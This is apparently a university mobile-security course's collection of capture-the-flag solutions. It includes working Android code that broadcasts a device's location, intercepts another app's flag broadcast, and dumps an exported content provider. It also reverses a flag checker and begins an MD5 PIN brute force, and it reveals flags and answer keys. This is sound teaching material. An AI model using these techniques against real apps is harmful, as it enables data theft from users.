        super.onCreate(savedInstanceState);
```

```
        Context context = getApplicationContext();
        Intent explicitIntent = new Intent(context, LocationService.class);
        context.startService(explicitIntent);
    }


}
```

5.3. Solution 2

```
package com.example.maliciousapp;

import android.Manifest;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.IBinder;
import android.util.Log;

import androidx.core.content.ContextCompat;

public class MyLocationService extends Service {
    private static final String TAG = "MOBIOTSEC";
                        private      static      final      String      ACTION      =
"com.mobiotsec.intent.action.LOCATION_ANNOUNCEMENT";

    @Override
    public void onCreate() {
        LocationListener listener = new LocationListener() {
            @Override
            public void onLocationChanged(Location location) {
                    sendBroadcast(new Intent().setAction(ACTION).putExtra("location",
location));
            }
        };

        int fineLocationPermission = ContextCompat.checkSelfPermission(
                this,
                Manifest.permission.ACCESS_FINE_LOCATION
        );

        switch (fineLocationPermission) {
            case PackageManager.PERMISSION_GRANTED:
            LocationManager locationManager = getSystemService(LocationManager.class);
                if (locationManager != null) {
                    locationManager.requestLocationUpdates(
                            LocationManager.GPS_PROVIDER,
                            1L,
                            0.1f,
```

```
                            listener
                    );
                }
                break;
            default:
                Log.e(TAG, "Location permission not granted");
                break;
        }

                                    NotificationManager     notificationManager     =
getSystemService(NotificationManager.class);
        if (notificationManager != null) {
            notificationManager.createNotificationChannel(new NotificationChannel(
                    "location_service_notification",
                    "Location service notification",
                    NotificationManager.IMPORTANCE_DEFAULT
            ));
        }

                                startForeground(1,    new    Notification.Builder(this,
"location_service_notification")
                .setContentTitle("Location service")
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .build()
        );
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}
```

5.4. Prof. solution

```
package com.example.maliciousapp;

import android.Manifest;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;
import android.util.Log;

import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

public class MyLocationService extends Service {

    private static final String TAG = "MOBIOTSEC";
    private LocationManager mLocationManager = null;
    private static final int LOCATION_INTERVAL = 1000;
    private static final float LOCATION_DISTANCE = 10f;
```

```
private class LocationListener implements android.location.LocationListener {
    Location mLastLocation;

    public LocationListener(String provider) {
        Log.e(TAG, "LocationListener " + provider);
        mLastLocation = new Location(provider);
    }

    @Override
    public void onLocationChanged(Location location) {
        Log.e(TAG, "onLocationChanged: " + location);
        mLastLocation.set(location);
        Intent i = new Intent();
        i.setAction("com.mobiotsec.intent.action.LOCATION_ANNOUNCEMENT");
        i.putExtra("location", location);
        sendBroadcast(i);
    }

    @Override
    public void onProviderDisabled(String provider) {
        Log.e(TAG, "onProviderDisabled: " + provider);
    }

    @Override
    public void onProviderEnabled(String provider) {
        Log.e(TAG, "onProviderEnabled: " + provider);
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {
        Log.e(TAG, "onStatusChanged: " + provider);
    }
}

LocationListener[] mLocationListeners = new LocationListener[]{
        new LocationListener(LocationManager.GPS_PROVIDER),
        new LocationListener(LocationManager.NETWORK_PROVIDER)
};

@Override
public IBinder onBind(Intent arg0) {
    return null;
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    Log.e(TAG, "onStartCommand");
    super.onStartCommand(intent, flags, startId);

    return START_STICKY;
}

@Override
public void onCreate() {
    initializeLocationManager();
```

```
        try {
                                        if    (ContextCompat.checkSelfPermission(this,
android.Manifest.permission.ACCESS_FINE_LOCATION) ==
                PackageManager.PERMISSION_GRANTED &&
                                                ContextCompat.checkSelfPermission(this,
android.Manifest.permission.ACCESS_COARSE_LOCATION) ==
                        PackageManager.PERMISSION_GRANTED) {
             mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
LOCATION_INTERVAL, LOCATION_DISTANCE, mLocationListeners[1]);
            } else {
                                                //ActivityCompat.requestPermissions((),
new                                  String[]{Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION}, 1);
            }
        } catch (java.lang.SecurityException ex) {
            Log.i(TAG, "fail to request location update, ignore", ex);
        } catch (IllegalArgumentException ex) {
            Log.d(TAG, "network provider does not exist, " + ex.getMessage());
        }
        try {
            mLocationManager.requestLocationUpdates(
                   LocationManager.GPS_PROVIDER, LOCATION_INTERVAL, LOCATION_DISTANCE,
                    mLocationListeners[0]);
        } catch (java.lang.SecurityException ex) {
            Log.i(TAG, "fail to request location update, ignore", ex);
        } catch (IllegalArgumentException ex) {
            Log.d(TAG, "gps provider does not exist " + ex.getMessage());
        }
    }

    @Override
    public void onDestroy() {
        Log.e(TAG, "onDestroy");
        super.onDestroy();
        if (mLocationManager != null) {
            for (int i = 0; i < mLocationListeners.length; i++) {
                try {
                    mLocationManager.removeUpdates(mLocationListeners[i]);
                } catch (Exception ex) {
                    Log.i(TAG, "fail to remove location listeners, ignore", ex);
                }
            }
        }
    }

    private void initializeLocationManager() {
        Log.e(TAG, "initializeLocationManager");
        if (mLocationManager == null) {
                                            mLocationManager    =    (LocationManager)
getApplicationContext().getSystemService(Context.LOCATION_SERVICE);
        }
    }
}
```

6. Justlisten

6.1. Challenge description

The flag is announced on the system with a broadcast intent with action victim.app.FLAG_ANNOUNCEMENT

6.2. Solution

Declare the receiver inside the manifest:

```
<receiver android:name=".MyBroadcastReceiver" android:exported="false">
    <intent-filter>
        <action android:name="victim.app.FLAG_ANNOUNCEMENT" />
    </intent-filter>
</receiver>
```

Then, create the class properly:

```
package com.example.maliciousapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.content.ContextCompat;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        BroadcastReceiver receiver = new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                String flag = intent.getStringExtra("flag");
                if (flag != null) {
                    Log.d(TAG, flag);
                }
            }
        };

        ContextCompat.registerReceiver(
                this,
                receiver,
                new IntentFilter("victim.app.FLAG_ANNOUNCEMENT"),
                ContextCompat.RECEIVER_EXPORTED
        );
    }
}
```

6.3. Solution 2

```
package com.example.maliciousapp

import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.Bundle
import android.util.Log

import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat

const val TAG = "MOBIOTSEC"

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        val receiver = object : BroadcastReceiver() {
            override fun onReceive(context: Context, intent: Intent) {
                intent.getStringExtra("flag")?.let {
                    Log.d(TAG, it)
                }
            }
        }

        ContextCompat.registerReceiver(
            this,
            receiver,
            IntentFilter("victim.app.FLAG_ANNOUNCEMENT"),
            ContextCompat.RECEIVER_EXPORTED
        )
    }
}
```

6.4. Prof. solution

```
package com.example.maliciousapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final String TAG = "MOBIOTSEC";

    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        if(action.equals("victim.app.FLAG_ANNOUNCEMENT")) {
            Bundle bundle = intent.getExtras();
            String flag = bundle.getString("flag");
```

```
            Log.i(TAG, flag);
        }
    }
}
```

```
package com.example.maliciousapp;

import androidx.appcompat.app.AppCompatActivity;

import android.content.BroadcastReceiver;
import android.content.IntentFilter;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        BroadcastReceiver br = new MyBroadcastReceiver();
        this.registerReceiver(br, new IntentFilter("victim.app.FLAG_ANNOUNCEMENT"));
    }
}
```

7. Jokeprovider

7.1. Challenge description

This task will let you play with Content Providers.

The target app exposes a Content Provider. Find all jokes authored by “elosiouk” and concatenate them. That’s the flag.

Some partial info on the target app:

```
=============================================================================
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.victimapp">
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.VictimApp">
        ....
        <provider
            android:name=".MyProvider"
            android:authorities="com.example.victimapp.MyProvider"
            android:enabled="true"
            android:exported="true">
        </provider>
    </application>
</manifest>

=============================================================================

=============================================================================
String CREATE_TABLE =
                    " CREATE TABLE joke" +
                            " (id INTEGER PRIMARY KEY AUTOINCREMENT, " +
                            " author TEXT NOT NULL, " +
                            " joke TEXT NOT NULL);";


=============================================================================
static final String PROVIDER_NAME = "com.example.victimapp.MyProvider";
static final String TABLE_NAME = "joke";
static final String URL = "content://" + PROVIDER_NAME + "/" + TABLE_NAME;
static final int uriCode = 1;

static final UriMatcher uriMatcher;
    static{
        uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
        uriMatcher.addURI(PROVIDER_NAME, TABLE_NAME, uriCode);
    }
=============================================================================
```

7.2. Solution 1

```
package com.example.jokeprovider
```

```
import android.net.Uri
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import java.lang.StringBuilder

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

       // This is authorized inside the victim app, which is the right package to query
        val contenturi = Uri.parse("content://com.example.victimapp.MyProvider/joke")

        // Define the tables and data (columns/rows) you want to retrieve (author and
joke)
        val projection = arrayOf("author", "joke")

        // Specify the selection condition and arguments
        val selection = "author = ?"
        val selectionArgs = arrayOf("elosiouk")

        // Based on first code example here:
      // https://developer.android.com/guide/topics/providers/content-provider-basics?
hl=it#kotlin
             val cursor = contentResolver.query(contenturi, projection, selection,
selectionArgs, null)
        Log.i("MOBIOTSEC", "Cursor count: ${cursor?.count}")

        // Check the cursor count before iterating over it
        if (cursor != null && cursor.count > 0) {
            try {
                // Use a standard stringBuilder to do the thing
                val flag = StringBuilder()
                val authorColumnIndex = cursor.getColumnIndex("author")
                val jokeColumnIndex = cursor.getColumnIndex("joke")
              Log.i("MOBIOTSEC", "Retrieved cursor column index: '$authorColumnIndex',
'$jokeColumnIndex'")

                while (cursor.moveToNext()) {
                    // Get all columns data
                    val author = cursor.getString(authorColumnIndex)
                    val joke = cursor.getString(jokeColumnIndex)
                    Log.i("MOBIOTSEC", "Author: '$author', Joke: '$joke'")

                    if (author.equals("elosiouk")) {
                        flag.append(joke)
                        Log.i("MOBIOTSEC", "Flag composing with jokes: '$flag'")
                    }
                }
                // Close the cursor when you are finished with it
                cursor.close()

                // Extract the flag from the jokes
                val extractedFlag = extractFlagFromJokes(flag.toString())
                Log.i("MOBIOTSEC", "Flag extracted: '$extractedFlag'")
```

```
            } catch (e: Exception) {
                Log.e("MOBIOTSEC", "Error retrieving data from cursor: ${e.message}")
            }
        } else {
            Log.e("MOBIOTSEC", "Error retrieving cursor data")
        }
    }

    private fun extractFlagFromJokes(jokes: String): String {
        val regex = Regex("FLAG\\{(.+?)\\}")
        val matchResult = regex.find(jokes)
        return matchResult?.groupValues?.get(1) ?: "Flag not found"
    }
}
```

7.3. Solution 2

```
package com.example.maliciousapp;

import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    protected void onStart() {
        super.onStart();
        Cursor cursor = getContentResolver().query(
                Uri.parse("content://com.example.victimapp.MyProvider/joke"),
                new String[]{"author", "joke"},
                "author = 'elosiouk'",
                null,
                null
        );

        if (cursor != null) {
            int colIndex = cursor.getColumnIndex("joke");
            StringBuilder flag = new StringBuilder();

            while (cursor.moveToNext()) {
                flag.append(cursor.getString(colIndex));
            }

            Log.d(TAG, "The flag is " + flag.toString());
            TextView debugText = findViewById(R.id.debug_text);
```

```
            debugText.setText(flag.toString());

            cursor.close();
        }
    }
}
```

7.4. Prof. solution

```
package com.example.maliciousapp;

import androidx.appcompat.app.AppCompatActivity;

import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";
    static final String PROVIDER_NAME = "com.example.victimapp.MyProvider";
    static final String TABLE_NAME = "joke";
    static final String URL = "content://" + PROVIDER_NAME + "/" + TABLE_NAME;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Uri contentUri = Uri.parse(URL);

        String[] projection = { "author", "joke" };

        Log.i(TAG,"Cursor Query Start");

        Cursor cursor = getContentResolver().query(
                contentUri,
                projection,
                null,
                null,
                null
        );

        Log.i(TAG,"Cursor Query Done");
        StringBuilder stringBuilder = new StringBuilder();

        if (cursor == null) {
            Log.e(TAG,"Null Cursor Error");
        }
        else if (cursor.getCount() < 1) {
            Log.d(TAG,"Unsuccessful Cursor Search");
        } else {
            while (cursor.moveToNext()) {
                int authorIndex = cursor.getColumnIndex("author");
                String authorValue = cursor.getString(authorIndex);
                Log.i(TAG,"Author: " + authorValue);
```

```
                int jokeIndex = cursor.getColumnIndex("joke");
                String jokeValue = cursor.getString(jokeIndex);
                Log.i(TAG,"Joke: " + jokeValue);

                if (authorValue.equals("elosiouk")) {
                    stringBuilder.append(jokeValue);
                }
            }
            cursor.close();
        }
        Log.i(TAG,"Flag: " + stringBuilder.toString());
    }
}
```

8. Babryrev

8.1. Challenge description

The career of every reverser starts with a babyrev chall. Here is yours.

For completeness, I put here the code of the *FlagChecker* class, which is the most important one.

```
package com.mobiotsec.babyrev;

import android.content.Context;

public class FlagChecker {
    public static boolean checkFlag(Context ctx, String flag) {
                                        if     (flag.startsWith("FLAG{")     &&     new
StringBuilder(flag).reverse().toString().charAt(0) == '}' && flag.length() == 27 &&
flag.toLowerCase().substring(5).startsWith("scientia") && new StringBuilder(flag).reverse().toString
&& flag.toLowerCase().charAt(12) == 'a' && flag.charAt(13) == '_' && flag.charAt(22)
== '_' && flag.toLowerCase().charAt(12) == 'a' && flag.toLowerCase().charAt(12) ==
flag.toLowerCase().charAt(21)  &&  flag.toLowerCase().charAt((int)  (Math.pow((double)
getX(),  (double)  getX())  +  Math.pow((double)  getX(),  (double)  getY()))))  ==
flag.toLowerCase().charAt((int) (Math.pow((double) getZ(), (double) getX()) + 5.0d))
&& bam(flag.substring((int) (Math.pow((double) getZ(), (double) getX()) - 2.0d), ((int)
Math.pow((double) getX(), (double) (getX() + getY()))) - 10)).equals("cBgRaGvN") &&
flag.substring(5, flag.length() - 1).matches(getR())) {
            return true;
        }
        return false;
    }

    private static int getX() {
        return 2;
    }

    private static int getY() {
        return 3;
    }

    private static int getZ() {
        return 4;
    }

    private static String bam(String s) {
        StringBuilder out = new StringBuilder();
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            if (c >= 'a' && c <= 'm') {
                c = (char) (c + 13);
            } else if (c >= 'A' && c <= 'M') {
                c = (char) (c + 13);
            } else if (c >= 'n' && c <= 'z') {
                c = (char) (c - 13);
            } else if (c >= 'N' && c <= 'Z') {
                c = (char) (c - 13);
            }
            out.append(c);
        }
```

```
        return out.toString();
    }

    public static String getR() {
        StringBuilder r = new StringBuilder();
        boolean upper = true;
        for (int i = 0; i < 21; i++) {
            if (upper) {
                r.append("[A-Z_]");
            } else {
                r.append("[a-z_]");
            }
            upper = !upper;
        }
        return r.toString();
    }
}
```

8.2. Solution 1

You can install many tools here, like jadx.

You can see, for example launching the command

```
jadx -d out babyrev.apk
```

You will find some classes which are interesting:

The r.java file is not interesting, while the MainActivity only checks the flag, giving a simple widget to see if text changed, otherwise it simply prints "Invalid flag" or "Valid flag". Given BuildConfig does nothing apart from setting the application ID let's inspect the FlagChecker.java, I'd say.

The FlagChecker class has three functions:

1. The CheckFlag, in which we understand:
   - it starts with FLAG{scientia
   - it is alphanumeric, at least combining both uppercase and lowercase chars with a regex at the end
   - it's 27 chars long
   - 12th character (a) is equal to 21st character (a)
   - the 13th and 22nd characters must be underscores
   - the last character of the flag must be '}'.
   - there is a check equal to cBgRaGv
2. The CheckFlag, in which we understand: the getX, getY, getZ which are used inside last of FlagChecker to make some mess

This part makes something like:

```
getX() -> 2
getY() -> 3
getZ() -> 4
charAt((int) pow(2,2) + pow(2,3)) == charAt( pow(4,2) + 5.0d)
4 + 8 == 16 + 6
12 == 22
a == a
&& flag.toLowerCase().charAt((int) (Math.pow((double) getX(), (double) getX()) +
Math.pow((double) getX(), (double) getY())) == flag.toLowerCase().charAt((int)
(Math.pow((double) getZ(), (double) getX()) + 5.0d))
```

```
/r == char(13)
/n == char(9)
bam(flag.substring((int) (Math.pow((double) getZ(), (double) getX()) - 2.0d), ((int)
Math.pow((double) getX(), (double) (getX() + getY())))) - 10)).equals("cBgRaGvN")
cBgRaGvN
pOtEnTiA
0   1   2   3   4   5   6   7   8   9   10   11  12
a   b   c   d   e   f   g   h   i   j   k    l   m
n   o   p   q   r   s   t   u   v   w   x
```

3. The third method creating the regex of upper/lowercase chars

On the last *checkFlag* code part, it simply makes some random calculation over powers, but don't get distracted; it simply says that the part from 14th character up to the 22nd will be substituted with the combined lower/upper case regex transformation.

Now, for the last part:

- the *bam* function in the provided code performs character transformations based on the position of characters in the alphabet. Here's an explanation of how it works:

1. The function processes each character in the input string s one by one.
2. If the character is in the range 'a' to 'm' (lowercase letters from 'a' to 'm'), it increments its Unicode value by 13, effectively shifting it to the second half of the lowercase alphabet.
3. If the character is in the range 'A' to 'M' (uppercase letters from 'A' to 'M'), it also increments its Unicode value by 13, shifting it to the second half of the uppercase alphabet.
4. If the character is in the range 'n' to 'z' (lowercase letters from 'n' to 'z'), it decrements its Unicode value by 13, moving it to the first half of the lowercase alphabet.
5. If the character is in the range 'N' to 'Z' (uppercase letters from 'N' to 'Z'), it decrements its Unicode value by 13, moving it to the first half of the uppercase alphabet.

Here's how it works here:

- 'c' becomes 'p':
- 'c' (ASCII value 99) + 13 = 'p' (ASCII value 112)

2. 'B' becomes 'O':

- 'B' (ASCII value 66) + 13 = 'O' (ASCII value 79)

3. 'g' becomes 't':

- 'g' (ASCII value 103) + 13 = 't' (ASCII value 116)

4. 'R' becomes 'E':

- 'R' (ASCII value 82) + 13 = 'E' (ASCII value 69)

5. 'a' becomes 'n':

- 'a' (ASCII value 97) + 13 = 'n' (ASCII value 110)

6. 'G' becomes 'T':

- 'G' (ASCII value 71) + 13 = 'T' (ASCII value 84)

7. 'v' becomes 'i':

- 'v' (ASCII value 118) - 13 = 'i' (ASCII value 105)

8. 'N' becomes 'A':

- 'N' (ASCII value 78) - 13 = 'A' (ASCII value 65)

8.3. Solution 2

```
# Challenge
It is requested to deduce the flag by decompiling the code from the given `.apk`

The flag is `FLAG{ScIeNtIa_pOtEnTiA_EsT}`

# Solution
The `checkFlag(ctx, flag)` of the `FlagChecker` class provides all the necessary
information to reconstruct the flag.
It consists of a single `return` statement with multiple checks

## Flag structure
The structure is in the form `FLAG{  _  _  }`: three parts, separated by underscores

### FLAG{...}
This piece of code tells that the flag is in the usual `FLAG{...}` form and it is 27
characters long (characters in positions 0-26)
```

java flag.startsWith("FLAG{") && new StringBuilder(flag) .reverse() .toString() .charAt(0) == '}' && flag.length() == 27

```
### Separators
There are two underscores, that separates three parts.
This can be deduced from
```

java flag.charAt(13) == '_' *&& flag.charAt(22) ==* '_'

```
### Case
The line `flag.substring(5, flag.length() - 1).matches(getR())` tells that the inner
flag casing is alternating on upper and lower-case characters (or underscore), because
it has to match the regex `/[A-Z_][a-z_][A-Z_][a-z_].../`

## Fist part
This tells that the inner flag starts with "scientia" (ignoring case)
```

java flag.toLowerCase() .substring(5) .startsWith("scientia")

```
## Middle part
This tells that the middle part (characters in positions 14-22) is "pOtEnTiA"

To decode the part it's sufficient to re-encode the string that the code is trying to
match, because what the function `bam(s)` is doing is just swapping characters in a-m
to the same relative position in n-z (and opposite, also on uppercase characters)
```

java bam(flag.substring((int) (Math.pow((double) getZ(), (double) getX()) - 2.0d), ((int) Math.pow((double) getX(), (double) (getX() + getY()))) + (-10))).equals("cBgRaGvN")

```
## Last part
This tells that the last part of the flag is "est" (ignoring case), because the string
`last_part` found in `res/values/strings.xml` is "tse" and it is checked in reverse
```

java new StringBuilder(flag) .reverse() .toString() .toLowerCase() .substring(1) .startsWith(ctx.getString(R.string.last_part))

```
# Useless code
The code contains lines of code that provide redundant, but barely useful, information:
```

java flag.toLowerCase().charAt(12) == ‘a’ && flag.toLowerCase().charAt(12) == ‘a’ && flag.toLowerCase().charAt(12) == flag.toLowerCase().charAt(21) && flag.toLowerCase().charAt((int) (Math.pow((double) getX(), (double) getX()) + Math.pow((double) getX(), (double) getY()))) == flag.toLowerCase().charAt((int) (Math.pow((double) getZ(), (double) getX()) + 5.0d))

8.4. Prof. solution

Goal: Becoming accustomed to reverse-engineering apks. In particular, learning how to utilize static analysis tools such as JADX or Dex2Jar + JD.

In this writeup, we will be using JADX as our decompiler of choice. By opening “babyrev.apk”, we can locate “com.mobiotsec.babyrev” package, which will likely contain the logic behind the target app. We are interested in two classes “MainActivity” and “FlagChecker”, as the other two classes are always there by default.

-MainActivity Initializes graphical elements. Whenever a user inputs a possible Flag, a “clickListener” stores the value and invokes the method “FlagChecker.checkFlag(..)”. Now, we need to go to “FlagChecker” class.

-FlagChecker Contains several methods, but we start by investigating “checkFlag(..)”. The Flag will be accepted (and thus correct), only when able to pass through a huge “if” statement. Let’s break it down.

if (flag.startsWith(“FLAG{“)

Explanation: The Flag starts with “FLAG{“ Current Flag guess: FLAG{???????????

&& new StringBuilder(flag).reverse().toString().charAt(0) == ‘}’

Explanation: If we reverse the order of the letters in the Flag, it the character at index 0 equals “}” Current Flag guess: FLAG{????????????}

&& flag.length() == 27

Explanation: The Flag contains 27 characters Current Flag guess: FLAG{??????????????????????}

&& flag.toLowerCase().substring(5).startsWith(“scientia”)

Explanation: The Flag is converted to lowercase. Then, we consider the substring starting at position 5 (just after “FLAG{“). This substring starts with “scientia” Current Flag guess: FLAG{scientia?????????????} (lowercase?)

&& new StringBuilder(flag).reverse().toString().toLowerCase().substring(1).startsWith(ctx.getString(C0746R.string.last_part))

Explanation: Reverse order. Lowercase. Substring pos 1 starts with a value located on the resources. We navigate into “babyrev.apk->Resources->resources.arsc->res->values->strings.xml”. We know the location thanks to “R.string”. We locate the string under the keyword “last_part” which has the following value “tse”. Current Flag guess: FLAG{scientia??????????est} (lowercase?)

&& flag.toLowerCase().charAt(12) == ‘a’

Explanation: Twelfth character is “a”. Reduncant. Current Flag guess: FLAG{scientia??????????est} (lowercase?)

&& flag.charAt(13) == ‘_’

Explanation: Thirteenth char is “*”. Current Flag guess: FLAG{scientia*????????est} (lowercase?)

&& flag.charAt(22) == ‘_’

Explanation: Twenty-second char is “*”. Current Flag guess: FLAG{scientia*???????_est} (lowercase?)

&& flag.toLowerCase().charAt(12) == ‘a’

Explanation: Twelfth character is “a”. Redundant. Current Flag guess: FLAG{scientia *????????*est} (lowercase?)

&& flag.toLowerCase().charAt(12) == flag.toLowerCase().charAt(21)

Explanation: Twenty-first char is equal to twelfth char, if transformed to lowercase. Current Flag guess: FLAG{scientia_???????a_est} (lowercase?)

&& flag.toLowerCase().charAt((int) (Math.pow((double) getX(), (double) getX()) + Math.pow((double) getX(), (double) getY()))) == flag.toLowerCase().charAt((int) (Math.pow((double) getZ(), (double) getX()) + 5.0d))

Explanation: Twelfth char 12 is equal to twenty-first char, is transformed to lowercase. Redundant. Current Flag guess: FLAG{scientia_???????a_est} (lowercase?)

&& bam(flag.substring((int) (Math.pow((double) getZ(), (double) getX()) - 2.0d), ((int) Math.pow((double) getX(), (double) (getX() + getY())))) - 10)).equals(“cBgRaGvN”)

Explanation: Method “bam(..)” compares the integer value of a character, and then adds/subtracts 13. The app invokes “bam(flag.substring(14,22))”. We copy-paste “bam” into our IDE (e.g., Visual Studio Code) and we reverse the process. In order to output “cBgRaGvN”, we need to input “pOtEnTiA”. Current Flag guess: FLAG{scientia_pOtEnTiA_est} (lowercase?)

&& flag.substring(5, flag.length() - 1).matches(getR()))

Explanation: The core part of the Flag flag.substring(5,26) must have alternating upper/lower case. Starting with uppercase. Current Flag guess: FLAG{ScIeNtIa_pOtEnTiA_EsT}

9. Pincode

9.1. Challenge description

Give me the PIN, I'll give you the flag.

Let's copy here the relevant classes: *MainActivity* first, *PinChecker* second.

```
package com.mobiotsec.pincode;

import android.os.Bundle;
import android.os.StrictMode;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.internal.view.SupportMenu;
import androidx.core.view.ViewCompat;

public class MainActivity extends AppCompatActivity {
    TextView mResultWidget = null;

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) R.layout.activity_main);
                                                    StrictMode.setThreadPolicy(new
StrictMode.ThreadPolicy.Builder().permitAll().build());
        EditText pinWidget = (EditText) findViewById(R.id.pincode);
        TextView resultWidget = (TextView) findViewById(R.id.result);
        this.mResultWidget = resultWidget;
        pinWidget.addTextChangedListener(new TextWatcher() {
              public void beforeTextChanged(CharSequence s, int start, int count, int
after) {
            }

           public void onTextChanged(CharSequence s, int start, int before, int count)
{
               MainActivity.this.mResultWidget.setText("");
            }

            public void afterTextChanged(Editable s) {
            }
        });
          ((Button) findViewById(R.id.checkpin)).setOnClickListener(new MainActivity$
$ExternalSyntheticLambda0(this, pinWidget, resultWidget));
    }

    /* access modifiers changed from: package-private */
    /* renamed from: lambda$onCreate$0$com-mobiotsec-pincode-MainActivity  reason: not
valid java name */
                                public        /*        synthetic        */        void
m1642lambda$onCreate$0$commobiotsecpincodeMainActivity(EditText   pinWidget,   TextView
resultWidget, View v) {
        String pin = pinWidget.getText().toString();
```

```
            resultWidget.setText("Checking PIN....");
            resultWidget.setTextColor(ViewCompat.MEASURED_STATE_MASK);
            String flag = null;
            String exception = null;
            if (!PinChecker.checkPin(this, pin)) {
                resultWidget.setText("PIN is not valid.");
                resultWidget.setTextColor(SupportMenu.CATEGORY_MASK);
                return;
            }
            try {
                flag = getFlag(pin);
            } catch (Exception e) {
                exception = e.getMessage();
            }
            if (exception != null) {
                resultWidget.setText("Exception getting the flag...");
                resultWidget.setTextColor(SupportMenu.CATEGORY_MASK);
            } else if (flag != null) {
                resultWidget.setText(flag);
                if (flag.startsWith("FLAG")) {
                    resultWidget.setTextColor(-16737536);
                } else {
                    resultWidget.setTextColor(SupportMenu.CATEGORY_MASK);
                }
            } else {
                resultWidget.setText("Exception: " + exception);
                resultWidget.setTextColor(SupportMenu.CATEGORY_MASK);
            }
        }

        public String getFlag(String pin) {
            return "FLAG{in_vino_veritas}";
        }
    }

     package com.mobiotsec.pincode;

    import android.content.Context;
    import android.util.Log;
    import java.security.MessageDigest;
    import kotlin.UByte;

    class PinChecker {
        PinChecker() {
        }

        public static boolean checkPin(Context ctx, String pin) {
            if (pin.length() != 6) {
                return false;
            }
            try {
                byte[] pinBytes = pin.getBytes();
                for (int i = 0; i < 25; i++) {
                    for (int j = 0; j < 400; j++) {
                        MessageDigest md = MessageDigest.getInstance("MD5");
                        md.update(pinBytes);
```

```
                    pinBytes = (byte[]) md.digest().clone();
                }
            }
            if (toHexString(pinBytes).equals("d04988522ddfed3133cc24fb6924eae9")) {
                return true;
            }
            return false;
        } catch (Exception e) {
            Log.e("MOBIOTSEC", "Exception while checking pin");
            return false;
        }
    }

    public static String toHexString(byte[] bytes) {
        StringBuilder hexString = new StringBuilder();
        for (byte b : bytes) {
            String hex = Integer.toHexString(b & UByte.MAX_VALUE);
            if (hex.length() == 1) {
                hexString.append('0');
            }
            hexString.append(hex);
        }
        return hexString.toString();
    }
}
```

9.2. Solution 1

If you inspect the *MainActivity*, you see already a flag in clear:

```
public String getFlag(String pin) {
     return "FLAG{in_vino_veritas}";
}
```

Carefully inspect the whole code: already, inside the *onCreate* there is a check over performance and check over pin widgets and a call to a strange symbolic with lambda, with an overly long name. This seems associated with the click of a button, retrieves text from a widget and checks pin, validating the input pin and checking if flag matches. There is also a strange external class, which reflects the long method name.

The other thing to be interested in is the *PinChecker* class, in which we can see an hashing of the pin using MD5 and if this is equal to a certain hash (*d04988522ddfed3133cc24fb6924eae9*) then it's good; below there is a simple hex conversion into string function. The important info we get is the PIN must be 6 chars.

We know already MD5 is a hashing function and can take a lot of time to bruteforce properly; we will take the approach of taking the code, pasting it and executing it in order to see what then PIN can be. Maybe with bruteforcing we can be lucky (this is very time consuming, given has is a one-way formula, so if you know the formula, you can bruteforce all numbers until you get close to the original number, but otherwise you can't do much).

You can create a class like the following one:

```
import java.security.MessageDigest;

public class PinBruteForce {

public static void main(String[] args) {
String targetHash = "d04988522ddfed3133cc24fb6924eae9";

for (int i = 0; i <= 999999; i++) {
